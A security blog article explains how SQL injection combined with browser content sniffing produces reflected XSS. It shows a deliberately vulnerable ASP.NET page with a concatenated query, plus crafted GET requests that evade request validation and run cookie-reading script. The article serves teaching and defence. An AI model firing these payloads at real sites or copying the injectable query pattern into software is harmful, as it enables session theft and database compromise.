SQL Injection and Reflected Content-Sniffing Attacks

By Shawn Asmus ·

Content sniffing is a subset of browser quirks that web application developers and security testers alike should be aware of. In a nutshell, content sniffing is when a browser uses proprietary logic to override the expected rendering of content returned by a website. Unfortunately, this behavior can enable an attacker to exploit application security vulnerabilities in novel ways.

Though our focus in this article will be predominantly focused on Internet Explorer, other browsers are also prone to quirky content-sniffing behavior. For example, most browsers will try to guess the content type if no Content-Type header is provided in the response. In other cases, some browsers will completely ignore the Content-Type header, opting instead to inspect the first few bytes and then determine how to render the response. The problem is even more widespread when content is delivered through non-HTTP URI handlers such as file:// and ftp://.

To illustrate the problem, we’ll use a sample web page written in C#. By the way, this page is based on the demo application used in the presentation that Kristov Widak and I gave at Security B-Sides Las Vegas 2012. See the end of this article for a link to the presentation.

File: OpenAnyFile.aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="OpenAnyFile.aspx.cs" Inherits="Default2" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    </div>
    </form>
</body>
</html>
File: OpenAnyFile.aspx.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.Sql;
using System.Data.SqlClient;
using System.Configuration;
public partial class Default2 : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        string strImageID = Request.QueryString.Get("ImageID");
        byte[] ImageData;
        if (strImageID != null)
        {
            ImageData = GetImageData(strImageID);
            if (ImageData != null)
            {
                HttpCookie mycookie = new HttpCookie("userkey");
                mycookie.Value="123456789";
                Response.AppendCookie(mycookie);
                Response.ContentType = "application/octet-stream";
                Response.Expires = 0;
                Response.Buffer = true;
                Response.Clear();
                Response.BinaryWrite(ImageData);
                Response.End();
            }
        }
    }
    public byte[] GetImageData(string ImageID)
    {
     String qry = "SELECT img_bmp FROM images where img_ID='" + ImageID + "'";
        SqlDataSource sds = new SqlDataSource();
        SqlConnection conn = new SqlConnection("Data Source=localhost\\sqlexpress;
Integrated Security=SSPI; Initial Catalog=SecurityTesting");
        conn.Open ();
        SqlCommand command = conn.CreateCommand();
        command.CommandText = qry;
        command.CommandType = CommandType.Text;
        object obj = command.ExecuteScalar();
     if (obj!=DBNull.Value) { return (byte[])obj; }
     else { return null; }
    }
}

This web page looks up a document stored in a database based on the ImageID parameter supplied by the user. Note that the page returns any document using Content-Type application\octet-stream, supposedly because the database contains various types of documents This is one of the MIME types known to cause IE 6-8 to sniff the response content. The Content-Type text/plain would have the same results, as would a missing Content-Type header.

How could an attacker exploit this behavior? Review the code another time. Note how the ImageID parameter is not filtered in any way. Note how it’s used in-line to build a query string. This is a classic SQL Injection vulnerability.

For the sake of this article, we’ll assume this web application is locked down tight, so that the username used to connect to the database is low-privilege, the server is hardened, the table is read-only and the data it contains is non-sensitive and, well, boring. Most attackers would shrug and move on without giving a second thought. But we will! Our attack vector will be to use SQL Injection to build several Cross-Site Scripting (XSS) proofs-of-concept. The first order of business – how do we circumvent ASP.NET Request Validation? With a little knowledge of T-SQL, it’s easy. In the example below, the %2b is the URI-encoded plus (+) character, which is the concatenation operator in MS SQL. Using CHAR(60), we instruct the query processor to render a less-than character (<). This technique allows us to evade .NET XSS filters.

GET /WebSite1/OpenAnyFile.aspx?ImageID=4'+and+1=0+UNION+ALL
+SELECT+CONVERT(varchar(max),CHAR(60)%2b'html>'%2bCHAR(60)%2b'body>'
%2bCHAR(60)%2b'script>alert(document.cookie)'%2bCHAR(60)%2b'/script>'
%2bCHAR(60)%2b'/body>'%2bCHAR(60)%2b'/html>')-- HTTP/1.1

The XSS PoC works like a charm, displaying the sensitive session identifier. An attacker, of course, would more likely redirect the value to a host under the attacker's control and hijack the user’s session. Note that the embedded JavaScript executes in the security context of the hosted domain. OK, how about one more example. This time, we’ll use a PostScript payload instead of HTML.

GET /WebSite1/OpenAnyFile.aspx?ImageID=4'+and+1=0+UNION+ALL
+SELECT+CONVERT(varchar(max),'%!PS-Adobe-2.0'%2bCHAR(10)%2b'
%%Creator:+'%2bCHAR(60)%2b'script>alert(document.cookie)'
%2bCHAR(60)%2b'/script>'%2bCHAR(10)%2b'%%Title:+attack.2')-- HTTP/1.1

The premise here is the same – an attacker exploits both the SQL injection flaw in the web application and content-sniffing behavior in the client’s browser to execute the attack. Blended attacks such as these can be quite effective when targeting individual web applications or their users.

One final note: the Content-Type of our test page is fixed. However, if an attacker can control the Content-Type of the target application, say through a header injection flaw, they can force content-sniffing behavior.

Thanks for reading. I hope you enjoyed it.

References:

Browser Security Handbook:

http://code.google.com/p/browsersec/wiki/Part2#Survey_of_content_sniffing_behaviors

Security B-Sides Las Vegas 2012 – Mirror Mirror – Reflected PDF Attacks Using SQL Injection:

http://www.irongeek.com/i.php?page=videos/bsideslasvegas2012/2.1.5-shawn-asmus-kristov-widak-mirror-mirror-reflected-pdf-attacks-using-sql-injection

 

shawn-asmus

Shawn Asmus

Practice Manager, Application Security, CISSP, CCSP, OSCP

Shawn Asmus is a practice manager with Optiv’s application security team. In this role he specializes in strategic and advanced AppSec program services and lends technical expertise where needed. Shawn has presented at a number of national, regional and local security seminars and conferences.